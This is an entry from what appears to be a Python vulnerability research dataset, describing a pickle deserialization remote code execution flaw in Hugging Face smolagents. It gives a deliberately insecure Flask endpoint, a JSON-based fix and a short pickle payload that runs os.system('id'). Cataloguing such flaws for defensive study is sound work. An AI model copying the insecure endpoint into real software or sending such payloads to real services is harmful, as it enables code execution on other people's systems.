VAITP Dataset

← Back to the dataset

CVE-2025-14931

Hugging Face smolagents allows unauthenticated RCE via pickle deserialization.

  • CVSS 10.0
  • CWE-502
  • Input Validation and Sanitization
  • Remote

Hugging Face smolagents Remote Python Executor Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face smolagents. Authentication is not required to exploit this vulnerability. The specific flaw exists within the parsing of pickle data. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28312.

CVSS base score
10.0
Published
2025-12-23
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Hugging Face
Fixed by upgrading
Yes

Solution

Upgrade to smol-agents version 0.1.3 or later.

Vulnerable code sample

import pickle
from flask import Flask, request

app = Flask(__name__)

@app.route('/process_data', methods=['POST'])
def process_data():
    # This endpoint receives serialized data objects for processing.
    raw_data = request.data

    # The data is deserialized to be used by the application.
    data_object = pickle.loads(raw_data)

    # Further processing on the data_object would happen here.
    print(f"Processing object of type {type(data_object)}")

    return "Success", 200

if __name__ == '__main__':
    # Start the server to listen for incoming data.
    app.run(host='0.0.0.0', port=1337)

Patched code sample

import json

def safe_process_data(data: bytes):
    """
    Represents the fixed code for a deserialization vulnerability like CVE-2025-14931.

    This function safely deserializes user-supplied data by using the JSON
    format, which is designed for data interchange and cannot execute arbitrary code.
    It replaces a hypothetical insecure implementation that would have used `pickle.load()`
    or `pickle.loads()` on untrusted data.

    Args:
        data: A byte string containing serialized data from an untrusted source.

    Returns:
        The deserialized Python object (e.g., a dict or list) if the data is
        valid JSON, otherwise None.
    """
    try:
        # The core of the fix is to switch from a dangerous deserializer like
        # pickle to a safe, data-only format like JSON.

        # 1. Decode the byte string into a standard string format (e.g., UTF-8).
        #    This is a necessary step before parsing with the json module.
        data_str = data.decode('utf-8')

        # 2. Use json.loads() to parse the data. This function only builds
        #    Python objects like dicts, lists, strings, and numbers. It will
        #    not execute any functions or code embedded in the data stream,
        #    which is what makes pickle dangerous with untrusted input.
        deserialized_object = json.loads(data_str)

        # 3. (Optional but recommended) Further validation can be performed here
        #    on the structure and content of `deserialized_object` to ensure it
        #    conforms to the application's expectations before it is used.

        return deserialized_object

    except (json.JSONDecodeError, UnicodeDecodeError):
        # If the data is not valid JSON or cannot be decoded (e.g., it's a
        # malicious pickle stream), it is safely rejected by catching the
        # exception. This provides the "proper validation of user-supplied data"
        # that was missing in the vulnerable version.
        return None
    except Exception:
        # Catch any other unexpected errors during processing for robustness.
        return None

Payload

import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = 'id'
        return os.system, (cmd,)

print(pickle.dumps(RCE()))

Cite this entry

@misc{vaitp:cve202514931,
  title        = {{Hugging Face smolagents allows unauthenticated RCE via pickle deserialization.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-14931},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-14931/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::